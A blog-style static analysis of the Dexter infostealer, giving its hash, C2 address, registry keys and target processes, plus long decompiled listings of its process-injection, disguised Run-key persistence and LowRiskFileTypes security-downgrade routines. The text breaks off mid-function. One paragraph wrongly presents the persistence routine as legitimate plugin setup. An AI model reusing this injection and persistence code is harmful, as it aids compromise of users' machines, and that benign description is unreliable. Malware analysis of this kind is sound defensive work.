Static Analysis of the Dexter Malware

Explore a detailed static analysis of malware, uncovering key indicators of compromise, malicious activities, and underlying techniques used for process monitoring and memory manipulation.

Static Analysis of the Dexter Malware
Photo by Ed Hardie / Unsplash

In the realm of cybersecurity, static malware analysis serves as a critical method for understanding and mitigating potential threats. This analysis investigates a series of functions that exemplify malicious behaviors, including registry modifications, memory monitoring, and targeted process checks. By examining the code's structure and functionality, we can identify key indicators of compromise (IOCs) that reveal the malware's intent and operational strategies. This report aims to illuminate the intricacies of the malware's design and highlight the importance of proactive detection and response measures in safeguarding systems against such threats.

theZoo/malware/Binaries/Win32.Infostealer.Dexter at master · ytisf/theZoo
A repository of LIVE malwares for your own joy and pleasure. theZoo is a project created to make the possibility of malware analysis open and available to the public. - ytisf/theZoo

The Dexter malware is designed to infiltrate a target machine primarily by injecting itself into the iexplore.exe process, which facilitates the execution of Internet Explorer. It manipulates Windows registry entries to ensure its persistence on system startup, enabling continued access to sensitive data. The following report illustrate the sequence of operations executed by Dexter to achieve its malicious objectives.

SHA256: 4eabb1adc035f035e010c0d0d259c683e18193f509946652ed8aa7c5d92b6a92

🗯️
TLDR is here

Strings

151.248.115.107
/w19218317418621031041543/gateway.php
Software\HelperSolutions Software
Software\Microsoft\Windows\CurrentVersion\Run
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
debug.log
tmp.log
strokes.log
wmiprvse.exe
LogonUI.exe
svchost.exe
iexplore.exe
explorer.exe
System
smss.exe
csrss.exe
winlogon.exe
lsass.exe
spoolsv.exe
alg.exe
wuauclt.exe
firefox.exe
chrome.exe
devenv.exe
Type String Description
IP Address 151.248.115.107 Server address for data exfiltration, indicating a command and control (C2) infrastructure.
URL Path /w19218317418621031041543/gateway.php Path for communication or data exfiltration with the C2 server.
Log File debug.log, strokes.log, tmp.log Stores error messages or debugging information for operational integrity.
Registry Key Software\HelperSolutions Software May pertain to legitimate software used for persistence.
Registry Key Software\Microsoft\Windows\CurrentVersion\Run Allows programs to start automatically at user login, indicating persistence.
Registry Key .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Another startup entry for maintaining persistence.
Executable wmiprvse.exe Legitimate process that may be exploited for malicious purposes.
Executable LogonUI.exe Related to Windows logon UI; could be targeted for monitoring or manipulation.
Executable svchost.exe Critical system process commonly abused by malware for stealth.
Executable iexplore.exe, explorer.exe, firefox.exe, chrome.exe Common browsers used for data collection or web activity monitoring.
System Process System Refers to Windows System process, indicating potential monitoring or hijacking.
Executable smss.exe, csrss.exe, winlogon.exe, lsass.exe, spoolsv.exe, alg.exe, wuauclt.exe Legitimate processes targeted for injection or monitoring.
Development Tool devenv.exe Executable for Microsoft Visual Studio; may exploit development tools for debugging or analysis.

VirusTotal

VirusTotal
VirusTotal

Hybrid Analysis

Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for ‘win33.exe’
Submit malware for free analysis with Falcon Sandbox and Hybrid Analysis technology. Hybrid Analysis develops and licenses analysis tools to fight malware.

Any.Run

Analysis win33.exe (MD5: 140D24AF0C2B3A18529DF12DFBC5F6DE) Malicious activity - Interactive analysis ANY.RUN
Interactive malware hunting service. Live testing of most type of threats in any environments. No installation and no waiting necessary.

WhoIS

Whois IP 151.248.115.107
Whois IP Lookup for 151.248.115.107

Code Analysis

Function 1 (memset)

Function FUN_00401200
undefined * __cdecl FUN_00401200(undefined *param_1,undefined param_2,uint param_3)

{
  undefined *local_c;
  uint local_8;
  
  local_c = param_1;
  for (local_8 = 0; local_8 < param_3; local_8 = local_8 + 1) {
    *local_c = param_2;
    local_c = local_c + 1;
  }
  return param_1;
}
char *p = dst;
for (int i = 0; i < num; i++) {
    *p++ = val; 
}

Sample memset code (Source)

undefined * __cdecl memset_fun(undefined *dest,undefined val,uint num)

{
  undefined *tmp_char;
  uint i;
  
  tmp_char = dest;
  for (i = 0; i < num; i = i + 1) {
    *tmp_char = val;
    tmp_char = tmp_char + 1;
  }
  return dest;
}

De-Obfuscated Code

Function 2 (Get Process Info)

Function FUN_00401ac0
undefined4 FUN_00401ac0(void)

{
  HMODULE hModule;
  FARPROC pFVar1;
  HANDLE pvVar2;
  int iVar3;
  undefined4 uVar4;
  undefined *puVar5;
  undefined4 uVar6;
  char *lpProcName;
  int *piVar7;
  int local_20;
  undefined local_1c [20];
  undefined4 local_8;
  
  local_20 = 0;
  lpProcName = s_NtQueryInformationProcess_004074d8;
  hModule = LoadLibraryA(s_NTDLL.DLL_004074f4);
  pFVar1 = GetProcAddress(hModule,lpProcName);
  if (pFVar1 != (FARPROC)0x0) {
    piVar7 = &local_20;
    uVar6 = 0x18;
    puVar5 = local_1c;
    uVar4 = 0;
    pvVar2 = GetCurrentProcess();
    iVar3 = (*pFVar1)(pvVar2,uVar4,puVar5,uVar6,piVar7);
    if ((-1 < iVar3) && (local_20 == 0x18)) {
      return local_8;
    }
  }
  return 0xffffffff;
}

undefined4 GetProcessBasicInfo(void)

{
  HMODULE hNTDLL;
  FARPROC NtQueryInformationProcessFunc;
  HANDLE hCurrentProcess;
  int status;
  char *lpProcName;
  int infoSize;
  undefined processInfo [20];
  undefined4 result;
  undefined4 bufferSize;
  int *infoSizePtr;
  undefined *processInfoBuffer;
  undefined4 processInfoResult;
  
  infoSize = 0;
  lpProcName = s_NtQueryInformationProcess_004074d8;
  hNTDLL = LoadLibraryA(s_NTDLL.DLL_004074f4);
  NtQueryInformationProcessFunc = GetProcAddress(hNTDLL,lpProcName);
  if (NtQueryInformationProcessFunc != (FARPROC)0x0) {
    infoSizePtr = &infoSize;
    bufferSize = 0x18;
    processInfoBuffer = processInfo;
    processInfoResult = 0;
    hCurrentProcess = GetCurrentProcess();
    status = (*NtQueryInformationProcessFunc)
                       (hCurrentProcess,processInfoResult,processInfoBuffer,bufferSize,infoSizePtr);
    if ((-1 < status) && (infoSize == 0x18)) {
      return result;
    }
  }
  return 0xffffffff;
}

De-Obfuscated version

This function tries to load NtQueryInformationProcess from ntdll.dll and use it to retrieve information about the current process. The expected structure size is 24 bytes. If successful, it returns the result stored in local_8 (result in our version). If the process fails or the data size is incorrect, it returns 0xFFFFFFFF to indicate an error.

Function 3 (IsCompressionWorkspaceAvailable)

Function FUN_00401a80

undefined4 FUN_00401a80(void)

{
  HANDLE pvVar1;
  int *piVar2;
  int local_8;
  
  local_8 = 0;
  if (DAT_004099d0 != (code *)0x0) {
    piVar2 = &local_8;
    pvVar1 = GetCurrentProcess();
    (*DAT_004099d0)(pvVar1,piVar2);
    if (local_8 == 1) {
      return 1;
    }
  }
  return 0;
}

undefined4 IsCompressionWorkspaceAvailable(void)

{
  HANDLE hCurrentProcess;
  int compressionWorkspaceStatus;
  int *pWorkspaceStatus;
  
  compressionWorkspaceStatus = 0;
  if (DAT_004099d0 != (code *)0x0) {
    pWorkspaceStatus = &compressionWorkspaceStatus;
    hCurrentProcess = GetCurrentProcess();
    (*DAT_004099d0)(hCurrentProcess,pWorkspaceStatus);
    if (compressionWorkspaceStatus == 1) {
      return 1;
    }
  }
  return 0;
}

The IsCompressionWorkspaceAvailable function checks whether a compression workspace is available for the current process. It initializes a status variable, compressionWorkspaceStatus, to zero. If the pointer DAT_004099d0 is not null, it retrieves the current process handle using GetCurrentProcess() and calls the function pointed to by DAT_004099d0, passing in the current process handle and a pointer to the status variable. If the function indicates that the compression workspace is available by setting compressionWorkspaceStatus to 1, the function returns 1 (true). Otherwise, it returns 0 (false), indicating that the workspace is not available.

Function 4 (InitializeAndInjectProcess)


void __cdecl FUN_00403990(int param_1)

{
  undefined *puVar1;
  HANDLE pvVar2;
  HANDLE local_6c;
  LPTHREAD_START_ROUTINE local_68;
  _STARTUPINFOW local_64;
  HANDLE local_1c;
  _PROCESS_INFORMATION local_18;
  LPVOID local_8;
  
  memset_fun((undefined *)&local_64,0,0x44);
  local_64.cb = 0x44;
  memset_fun((undefined *)&local_18,0,0x10);
  DAT_00409584 = 1;
  CreateProcessW((LPCWSTR)&iexplorePathBuffer,(LPWSTR)0x0,(LPSECURITY_ATTRIBUTES)0x0,
                 (LPSECURITY_ATTRIBUTES)0x0,1,4,(LPVOID)0x0,(LPCWSTR)0x0,&local_64,&local_18);
  DuplicateHandle((HANDLE)0xffffffff,hServiceStabilityMutex,local_18.hProcess,&local_6c,0,0,2);
  hServiceStabilityMutex = local_6c;
  if (param_1 == 1) {
    DAT_0040958c = current_process_id;
    DAT_00409590 = local_18.dwProcessId;
    DuplicateHandle((HANDLE)0xffffffff,DAT_00409598,local_18.hProcess,&local_1c,0,0,2);
    DAT_00409598 = local_1c;
  }
  puVar1 = currentModuleHandle;
  local_8 = FUN_004037b0(local_18.hProcess,currentModuleHandle);
  if (local_8 != (LPVOID)0x0) {
    local_68 = (LPTHREAD_START_ROUTINE)(((int)entry - (int)puVar1) + (int)local_8);
    pvVar2 = CreateRemoteThread(local_18.hProcess,(LPSECURITY_ATTRIBUTES)0x0,0,local_68,(LPVOID)0x0,
                                0,(LPDWORD)0x0);
    if ((pvVar2 != (HANDLE)0x0) && (param_1 == 0)) {
                    /* WARNING: Subroutine does not return */
      ExitProcess(0);
    }
  }
  return;
}

Function FUN_00403990


void __cdecl InitializeAndInjectProcess(int injectFlag)

{
  HANDLE remoteThreadHandle;
  HANDLE duplicatedMutexHandle;
  LPTHREAD_START_ROUTINE remoteThreadStartRoutine;
  _STARTUPINFOW startupInfo;
  HANDLE duplicatedProcessHandle;
  _PROCESS_INFORMATION processInfo;
  LPVOID remoteBaseAddress;
  undefined *moduleBaseAddress;
  
  memset_fun((undefined *)&startupInfo,0,0x44);
  startupInfo.cb = 0x44;
  memset_fun((undefined *)&processInfo,0,0x10);
  initializationFlag = 1;
  CreateProcessW((LPCWSTR)&iexplorePathBuffer,(LPWSTR)0x0,(LPSECURITY_ATTRIBUTES)0x0,
                 (LPSECURITY_ATTRIBUTES)0x0,1,4,(LPVOID)0x0,(LPCWSTR)0x0,&startupInfo,&processInfo);
  DuplicateHandle((HANDLE)0xffffffff,hServiceStabilityMutex,processInfo.hProcess,
                  &duplicatedMutexHandle,0,0,2);
  hServiceStabilityMutex = duplicatedMutexHandle;
  if (injectFlag == 1) {
    currentProcessId = current_process_id;
    newProcessId = processInfo.dwProcessId;
    DuplicateHandle((HANDLE)0xffffffff,syncHandle,processInfo.hProcess,&duplicatedProcessHandle,0,0,
                    2);
    syncHandle = duplicatedProcessHandle;
  }
  moduleBaseAddress = currentModuleHandle;
  remoteBaseAddress = FUN_004037b0(processInfo.hProcess,currentModuleHandle);
  if (remoteBaseAddress != (LPVOID)0x0) {
    remoteThreadStartRoutine =
         (LPTHREAD_START_ROUTINE)(((int)entry - (int)moduleBaseAddress) + (int)remoteBaseAddress);
    remoteThreadHandle =
         CreateRemoteThread(processInfo.hProcess,(LPSECURITY_ATTRIBUTES)0x0,0,
                            remoteThreadStartRoutine,(LPVOID)0x0,0,(LPDWORD)0x0);
    if ((remoteThreadHandle != (HANDLE)0x0) && (injectFlag == 0)) {
                    /* WARNING: Subroutine does not return */
      ExitProcess(0);
    }
  }
  return;
}

The InitializeAndInjectProcess function performs malicious activities by creating a new instance of Internet Explorer and injecting code into it. Initially, it sets up the necessary structures for process creation, including startupInfo and processInfo. It creates the Internet Explorer process and duplicates a mutex handle, ensuring synchronization between processes. If the injectFlag parameter is set to 1, it records the current and new process IDs and duplicates a synchronization handle for further interactions with the newly created process. The function then calculates the entry point for a remote thread and creates this thread within the Internet Explorer process. If the injectFlag is not set, it exits the current process, thereby ensuring that the malicious code continues to run undetected in the newly injected environment. This sequence of actions illustrates the function's purpose to facilitate malware persistence and control over the infected system by leveraging the legitimate Internet Explorer process for its operations.

Function 5 (RetrieveAndConvertRegistryValue)


undefined4 FUN_00403160(void)

{
  undefined4 uVar1;
  int cbMultiByte;
  LPWSTR lpWideCharStr;
  int cchWideChar;
  DWORD local_10;
  HKEY local_c;
  DWORD local_8;
  
  local_c = (HKEY)0x0;
  local_8 = 0;
  RegCreateKeyExA((HKEY)0x80000001,s_Software\HelperSolutions_Softwar_00407ed8,0,(LPSTR)0x0,0,
                  0xf003f,(LPSECURITY_ATTRIBUTES)0x0,&local_c,&local_8);
  if (local_8 == 1) {
    RegCloseKey(local_c);
    uVar1 = 0;
  }
  else {
    local_8 = 0;
    local_10 = 0x25;
    memset_fun(&DAT_004099a0,0,0x25);
    RegQueryValueExA(local_c,s_Digit_00408180,(LPDWORD)0x0,&local_8,(LPBYTE)&DAT_004099a0,&local_10)
    ;
    if (DAT_004099a0 == '\0') {
      RegCloseKey(local_c);
      uVar1 = 0;
    }
    else {
      RegCloseKey(local_c);
      memset_fun(&DAT_0040a0c0,0,0x4a);
      cchWideChar = 0x4a;
      lpWideCharStr = (LPWSTR)&DAT_0040a0c0;
      cbMultiByte = lstrlenA(&DAT_004099a0);
      MultiByteToWideChar(0,0,&DAT_004099a0,cbMultiByte,lpWideCharStr,cchWideChar);
      uVar1 = 1;
    }
  }
  return uVar1;
}

The RetrieveAndConvertRegistryValue function engages in malicious activity by attempting to access a registry key located at HKEY_CURRENT_USER\Software\HelperSolutions\Software. It begins by trying to create or open this registry key with KEY_ALL_ACCESS permissions (denoted by the value 0xF003F), which allows the malware to read, write, and modify the registry key. If the operation fails, it closes the key and returns a status of 0, indicating that it could not proceed. Upon successfully opening the registry key, the function queries a specific value from the registry. If the queried value is empty, it again closes the key and returns a status of 0. However, if a non-empty value is retrieved, it allocates a buffer for a wide character string and converts the multi-byte string obtained from the registry into a wide character format. The function then returns a status of 1, indicating success. This behavior highlights the function's intent to manipulate the registry to maintain persistence or functionality for the malicious software by retrieving configuration data potentially used for further operations.

Registry Cmdlets: Working with the Registry - Scripting Blog [archived]
Summary: Richard Siddaway investigates how to use CIM to manage the registry. Honorary Scripting Guy, Richard Siddaway, here filling in for my good friend The Scripting Guy. Today, I’m starting a series about registry cmdlets by investigating how to work with the registry. The bad news is that there aren’t any cmdlets for working with […]
win32/desktop-src/SysInfo/registry-key-security-and-access-rights.md at docs · MicrosoftDocs/win32
Public mirror for win32-pr. Contribute to MicrosoftDocs/win32 development by creating an account on GitHub.

undefined4 RetrieveAndConvertRegistryValue(void)

{
  undefined4 status;
  int length;
  DWORD regValueSize;
  HKEY registryKey;
  DWORD operationResult;
  int wideCharBufferSize;
  LPWSTR wideCharString;
  
  registryKey = (HKEY)0x0;
  operationResult = 0;
                    /*  Create or open a registry key under
                       HKEY_CURRENT_USER\Software\HelperSolutions\Software */
  RegCreateKeyExA((HKEY)0x80000001,s_Software\HelperSolutions_Softwar_00407ed8,0,(LPSTR)0x0,0,
                  0xf003f,(LPSECURITY_ATTRIBUTES)0x0,&registryKey,&operationResult);
  if (operationResult == 1) {
    RegCloseKey(registryKey);
    status = 0;
  }
  else {
    operationResult = 0;
    regValueSize = 0x25;
    memset_fun(&digitRegistryValueBuffer,0,0x25);
    RegQueryValueExA(registryKey,s_Digit_00408180,(LPDWORD)0x0,&operationResult,
                     (LPBYTE)&digitRegistryValueBuffer,&regValueSize);
    if (digitRegistryValueBuffer == '\0') {
      RegCloseKey(registryKey);
      status = 0;
    }
    else {
      RegCloseKey(registryKey);
      memset_fun(&wideCharOutputBuffer,0,0x4a);
      wideCharBufferSize = 0x4a;
      wideCharString = (LPWSTR)&wideCharOutputBuffer;
      length = lstrlenA(&digitRegistryValueBuffer);
      MultiByteToWideChar(0,0,&digitRegistryValueBuffer,length,wideCharString,wideCharBufferSize);
      status = 1;
    }
  }
  return status;
}

De-Obfuscated Code

Function 6 (SetupJavaSecurityPlugin)


void FUN_00403250(void)

{
  BOOL BVar1;
  int iVar2;
  DWORD DVar3;
  LPWSTR lpWideCharStr;
  int cchWideChar;
  undefined local_22c [524];
  short local_20 [6];
  LSTATUS local_14;
  DWORD local_10;
  DWORD local_c;
  HKEY local_8;
  
  memset_fun((undefined *)local_20,0,10);
  memset_fun(local_22c,0,0x208);
  memset_fun(&executablePathBackup,0,0x208);
  FUN_004018c0(local_20,5);
  SHGetFolderPathW(0,0x1a,0,0,local_22c);
  wsprintfW((LPWSTR)&executablePathBackup,u_%s\%s_004081d8,local_22c,u_Java_Security_Plugin_004081ac
           );
  CreateDirectoryW((LPCWSTR)&executablePathBackup,(LPSECURITY_ATTRIBUTES)0x0);
  wsprintfW((LPWSTR)&executablePathBackup,u_%s\%s\%s.exe_00408228,local_22c,
            u_Java_Security_Plugin_004081fc,u_javaplugin_004081e4);
  CopyFileW((LPCWSTR)&currentExecutablePathBuffer,(LPCWSTR)&executablePathBackup,0);
  while( true ) {
    BVar1 = DeleteFileW((LPCWSTR)&currentExecutablePathBuffer);
    if (BVar1 != 0) break;
    Sleep(1000);
  }
  memset_fun(&digitRegistryValueBuffer,0,0x25);
  memset_fun(&wideCharOutputBuffer,0,0x4a);
  FUN_004019e0(&digitRegistryValueBuffer);
  cchWideChar = 0x4a;
  lpWideCharStr = (LPWSTR)&wideCharOutputBuffer;
  iVar2 = lstrlenA(&digitRegistryValueBuffer);
  MultiByteToWideChar(0,0,&digitRegistryValueBuffer,iVar2,lpWideCharStr,cchWideChar);
  local_c = 0;
  RegCreateKeyExA((HKEY)0x80000001,s_Software\HelperSolutions_Softwar_00407ed8,0,(LPSTR)0x0,0,
                  0xf003f,(LPSECURITY_ATTRIBUTES)0x0,&local_8,&local_c);
  local_10 = lstrlenA(&digitRegistryValueBuffer);
  RegSetValueExA(local_8,s_Digit_00408180,0,1,&digitRegistryValueBuffer,local_10);
  RegCloseKey(local_8);
  SetLastError(0);
  RegOpenKeyExA((HKEY)0x80000002,s_Software\Microsoft\Windows\Curre_00407efc,0,0xf003f,&local_8);
  DVar3 = GetLastError();
  if (DVar3 == 0) {
    iVar2 = lstrlenW((LPCWSTR)&executablePathBackup);
    local_10 = iVar2 << 1;
    local_14 = RegSetValueExW(local_8,u_Sun_Java_Security_Plugin_00408244,0,1,&executablePathBackup,
                              local_10);
    if (local_14 == 0) {
      RegCloseKey(local_8);
      RegOpenKeyExA((HKEY)0x80000003,s_.DEFAULT\SOFTWARE\Microsoft\Wind_00407f2c,0,0xf003f,&local_8)
      ;
      iVar2 = lstrlenW((LPCWSTR)&executablePathBackup);
      local_10 = iVar2 << 1;
      RegSetValueExW(local_8,u_Sun_Java_Security_Plugin_00408278,0,1,&executablePathBackup,local_10)
      ;
      RegCloseKey(local_8);
    }
    else {
      RegCloseKey(local_8);
    }
  }
  RegOpenKeyExA((HKEY)0x80000001,s_Software\Microsoft\Windows\Curre_00407efc,0,0xf003f,&local_8);
  iVar2 = lstrlenW((LPCWSTR)&executablePathBackup);
  local_10 = iVar2 << 1;
  RegSetValueExW(local_8,u_Sun_Java_Security_Plugin_004082ac,0,1,&executablePathBackup,local_10);
  RegCloseKey(local_8);
  return;
}

The SetupJavaSecurityPlugin function is designed to configure the Java security plugin environment by establishing necessary directories, managing executable files, generating unique identifiers, and updating relevant registry settings. It initializes buffers, retrieves the appropriate plugin directory, constructs backup paths, and ensures the current executable is copied to the designated location while deleting the original file to maintain a clean environment.

Additionally, the function generates a UUID for registry entries, converts it to a compatible format, and modifies registry keys under HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE, with permissions set to 0xf003f. This permission setting combines the STANDARD_RIGHTS_REQUIRED, KEY_QUERY_VALUE, KEY_SET_VALUE, KEY_CREATE_SUB_KEY, KEY_ENUMERATE_SUB_KEYS, KEY_NOTIFY, and KEY_CREATE_LINK access rights. By systematically performing these operations, the function ensures that the Java security plugin is correctly installed, accessible, and properly registered across different user profiles, enhancing its overall usability within the Windows operating system.

The SetupJavaSecurityPlugin function writes to the following registry keys:

  1. HKEY_CURRENT_USER:
    • Software\HelperSolutions\Software
      • Value: s_Digit (data written as a string)
    • Software\Microsoft\Windows\CurrentVersion
      • Value: u_Sun_Java_Security_Plugin (data written as a wide string)
  2. HKEY_LOCAL_MACHINE:
    • Software\Microsoft\Windows\CurrentVersion
      • Value: u_Sun_Java_Security_Plugin (data written as a wide string)
  3. HKEY_USERS:
    • \.DEFAULT\SOFTWARE\Microsoft\Windows
      • Value: u_Sun_Java_Security_Plugin (data written as a wide string)

void SetupJavaSecurityPlugin(void)

{
  BOOL deleteFileSuccess;
  int iVar1;
  DWORD last_error_status;
  undefined javaPluginDirectoryPathBuffer [524];
  short backupPathBuffer [6];
  LSTATUS registrySetStatus;
  DWORD valueLength;
  DWORD operationResult;
  HKEY registryKey;
  int wideCharBufferSize;
  LPWSTR wideCharString;
  
  memset_fun((undefined *)backupPathBuffer,0,10);
  memset_fun(javaPluginDirectoryPathBuffer,0,0x208);
  memset_fun(&javaPluginExecutableBackupPath,0,0x208);
  GenerateAndStoreShortValues(backupPathBuffer,5);
  SHGetFolderPathW(0,0x1a,0,0,javaPluginDirectoryPathBuffer);
  wsprintfW((LPWSTR)&javaPluginExecutableBackupPath,u_%s\%s_004081d8,javaPluginDirectoryPathBuffer,
            u_Java_Security_Plugin_004081ac);
  CreateDirectoryW((LPCWSTR)&javaPluginExecutableBackupPath,(LPSECURITY_ATTRIBUTES)0x0);
  wsprintfW((LPWSTR)&javaPluginExecutableBackupPath,u_%s\%s\%s.exe_00408228,
            javaPluginDirectoryPathBuffer,u_Java_Security_Plugin_004081fc,u_javaplugin_004081e4);
  CopyFileW((LPCWSTR)&currentExecutablePathBuffer,(LPCWSTR)&javaPluginExecutableBackupPath,0);
  while( true ) {
    deleteFileSuccess = DeleteFileW((LPCWSTR)&currentExecutablePathBuffer);
    if (deleteFileSuccess != 0) break;
    Sleep(1000);
  }
  memset_fun(&registryValueBuffer,0,0x25);
  memset_fun(&wideCharOutputBuffer,0,0x4a);
  GenerateAndCopyUuid(&registryValueBuffer);
  wideCharBufferSize = 0x4a;
  wideCharString = (LPWSTR)&wideCharOutputBuffer;
  iVar1 = lstrlenA(&registryValueBuffer);
  MultiByteToWideChar(0,0,&registryValueBuffer,iVar1,wideCharString,wideCharBufferSize);
  operationResult = 0;
                    /* HKEY_CURRENT_USER */
  RegCreateKeyExA((HKEY)0x80000001,s_Software\HelperSolutions_Softwar_00407ed8,0,(LPSTR)0x0,0,
                  0xf003f,(LPSECURITY_ATTRIBUTES)0x0,&registryKey,&operationResult);
  valueLength = lstrlenA(&registryValueBuffer);
  RegSetValueExA(registryKey,s_Digit_00408180,0,1,&registryValueBuffer,valueLength);
  RegCloseKey(registryKey);
  SetLastError(0);
                    /* HKEY_LOCAL_MACHINE */
  RegOpenKeyExA((HKEY)0x80000002,s_Software\Microsoft\Windows\Curre_00407efc,0,0xf003f,&registryKey)
  ;
  last_error_status = GetLastError();
  if (last_error_status == 0) {
    iVar1 = lstrlenW((LPCWSTR)&javaPluginExecutableBackupPath);
    valueLength = iVar1 << 1;
    registrySetStatus =
         RegSetValueExW(registryKey,u_Sun_Java_Security_Plugin_00408244,0,1,
                        &javaPluginExecutableBackupPath,valueLength);
    if (registrySetStatus == 0) {
      RegCloseKey(registryKey);
                    /* HKEY_USERS */
      RegOpenKeyExA((HKEY)0x80000003,s_.DEFAULT\SOFTWARE\Microsoft\Wind_00407f2c,0,0xf003f,
                    &registryKey);
      iVar1 = lstrlenW((LPCWSTR)&javaPluginExecutableBackupPath);
      valueLength = iVar1 << 1;
      RegSetValueExW(registryKey,u_Sun_Java_Security_Plugin_00408278,0,1,
                     &javaPluginExecutableBackupPath,valueLength);
      RegCloseKey(registryKey);
    }
    else {
      RegCloseKey(registryKey);
    }
  }
                    /* HKEY_CURRENT_USER */
  RegOpenKeyExA((HKEY)0x80000001,s_Software\Microsoft\Windows\Curre_00407efc,0,0xf003f,&registryKey)
  ;
  iVar1 = lstrlenW((LPCWSTR)&javaPluginExecutableBackupPath);
  valueLength = iVar1 << 1;
  RegSetValueExW(registryKey,u_Sun_Java_Security_Plugin_004082ac,0,1,&javaPluginExecutableBackupPath
                 ,valueLength);
  RegCloseKey(registryKey);
  return;
}

Function 7 (SetGlobalDataValue)

void __cdecl FUN_00401930(undefined4 param_1)

{
  _DAT_00409f2c = param_1;
  return;
}

The SetGlobalDataValue function assigns a value passed as an argument to a global variable. In this function, param_1 represents the input value intended for storage. The function directly assigns this value to _DAT_00409f2c, which appears to be a global or static variable used throughout the program. This operation effectively updates the global state or configuration of the program based on the provided parameter.


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void __cdecl SetGlobalDataValue(undefined4 newGlobalValue)

{
  _globalDataValue = newGlobalValue;
  return;
}

Function 8 (GenerateAndStoreShortValues)


void __cdecl FUN_004018c0(short *param_1,int param_2)

{
  DWORD newGlobalValue;
  int iVar1;
  int local_8;
  
  local_8 = 0;
  newGlobalValue = GetTickCount();
  SetGlobalDataValue(newGlobalValue);
  for (; local_8 < param_2; local_8 = local_8 + 1) {
    iVar1 = FUN_004019c0();
    *param_1 = (short)(iVar1 % 0x19) + 0x61;
    param_1 = param_1 + 1;
  }
  *param_1 = 0;
  return;
}

The GenerateAndStoreShortValues function generates a series of short integer values based on a given count and stores them in an array pointed to by param_1. It begins by retrieving the current tick count using GetTickCount(), which provides the number of milliseconds since the system started. This value is then saved as a global state through the SetGlobalDataValue function. The function then enters a loop that iterates param_2 times, calling FUN_004019c0() during each iteration to produce a value. This value is processed using a modulo operation (% 0x19), which constrains the result to a range of 0 to 24, and then converted into a corresponding ASCII character by adding 0x61 (the ASCII value for 'a'). The resulting character is stored as a short in the array. Finally, the function null-terminates the array by setting the subsequent element to 0.

void __cdecl GenerateAndStoreShortValues(short *outputArray,int count)

{
  DWORD currentTickCount;
  int generatedValue;
  int index;
  
  index = 0;
  currentTickCount = GetTickCount();
  SetGlobalDataValue(currentTickCount);
  for (; index < count; index = index + 1) {
    generatedValue = UpdateGlobalDataValue();
    *outputArray = (short)(generatedValue % 0x19) + 0x61;
    outputArray = outputArray + 1;
  }
  *outputArray = 0;
  return;
}

Function 9 (ComputeAndUpdateValue)


uint __cdecl FUN_00401940(uint *param_1)

{
  uint local_c;
  
  local_c = *param_1;
  if (local_c == 0) {
    local_c = 0x75bd924;
  }
  local_c = ((int)local_c % 0x1f31d) * 0x41a7 + ((int)local_c / 0x1f31d) * -0xb14;
  if ((int)local_c < 0) {
    local_c = local_c + 0x7fffffff;
  }
  *param_1 = local_c;
  return local_c % 0x8000;
}

The ComputeAndUpdateValue function takes a pointer to an unsigned integer (param_1) and computes a new value based on its current content. It first retrieves the value pointed to by param_1 into the local variable local_c. If local_c is zero, it assigns a default value of 0x75bd924 (which is a hexadecimal constant) to local_c. The function then computes a new value by performing a mathematical operation that involves modular arithmetic and multiplication: it calculates the remainder of local_c when divided by 0x1f31d (a constant) and multiplies it by 0x41a7, while also determining how many times local_c can be divided by 0x1f31d and multiplying that by -0xb14. If the resulting value of local_c is negative, it adds 0x7fffffff to it, effectively ensuring it remains non-negative. The computed value is then stored back in the location pointed to by param_1. Finally, the function returns the remainder of the updated value when divided by 0x8000.


uint __cdecl ComputeAndUpdateValue(uint *inputOutputValue)

{
  uint computedValue;
  
  computedValue = *inputOutputValue;
  if (computedValue == 0) {
    computedValue = 0x75bd924;
  }
  computedValue = ((int)computedValue % 0x1f31d) * 0x41a7 + ((int)computedValue / 0x1f31d) * -0xb14;
  if ((int)computedValue < 0) {
    computedValue = computedValue + 0x7fffffff;
  }
  *inputOutputValue = computedValue;
  return computedValue % 0x8000;
}

Function 10

void FUN_004019c0(void)

{
  ComputeAndUpdateValue((uint *)&globalDataValue);
  return;
}

The UpdateGlobalDataValue function serves as a wrapper that calls the ComputeAndUpdateValue function, passing in a pointer to the global variable globalDataValue. This global variable is presumably an unsigned integer that holds some state or configuration data. The purpose of this function is to update globalDataValue by invoking the computation and update logic encapsulated in ComputeAndUpdateValue. By doing so, it ensures that the value of globalDataValue is recalculated according to the logic defined in the previous block, maintaining the overall functionality of the application.

void UpdateGlobalDataValue(void)

{
  ComputeAndUpdateValue((uint *)&globalDataValue);
  return;
}

Function 11 (GenerateAndCopyUuid)


void __cdecl FUN_004019e0(LPSTR param_1)

{
  RPC_CSTR local_18;
  GUID local_14;
  
  CoCreateGuid(&local_14);
  UuidToStringA(&local_14,&local_18);
  lstrcpyA(param_1,(LPCSTR)local_18);
  return;
}

The GenerateAndCopyUuid function generates a unique identifier (UUID) and copies it into the provided character buffer. It begins by creating a new GUID (Globally Unique Identifier) using the CoCreateGuid function, which populates the local_14 variable with the generated UUID. The function then converts this GUID into a string format with the UuidToStringA function, storing the result in local_18. Finally, it uses lstrcpyA to copy the string representation of the UUID into the buffer pointed to by param_1. This function is useful for generating unique identifiers that can be utilized within applications for various purposes, such as object identification or tracking.


void __cdecl GenerateAndCopyUuid(LPSTR outputUuidBuffer)

{
  RPC_CSTR uuidString;
  GUID generatedGuid;
  
  CoCreateGuid(&generatedGuid);
  UuidToStringA(&generatedGuid,&uuidString);
  lstrcpyA(outputUuidBuffer,(LPCSTR)uuidString);
  return;
}

Function 12 (ConfigureLowRiskFileTypes)


void FUN_00403510(void)

{
  DWORD DVar1;
  HKEY local_10;
  DWORD local_c;
  undefined4 local_8;
  
  local_c = 0;
  RegCreateKeyExA((HKEY)0x80000001,s_Software\Microsoft\Windows\Curre_004082e0,0,(LPSTR)0x0,0,
                  0xf003f,(LPSECURITY_ATTRIBUTES)0x0,&local_10,&local_c);
  DVar1 = lstrlenA(s_.exe;.bat;.reg;.vbs;_00408194);
  RegSetValueExA(local_10,s_LowRiskFileTypes_00408320,0,1,(BYTE *)s_.exe;.bat;.reg;.vbs;_00408194,
                 DVar1);
  RegCloseKey(local_10);
  RegOpenKeyExA((HKEY)0x80000001,s_Software\Microsoft\Windows\Curre_00408338,0,0xf003f,&local_10);
  local_8 = 0;
  RegSetValueExA(local_10,&DAT_0040837c,0,4,(BYTE *)&local_8,4);
  RegCloseKey(local_10);
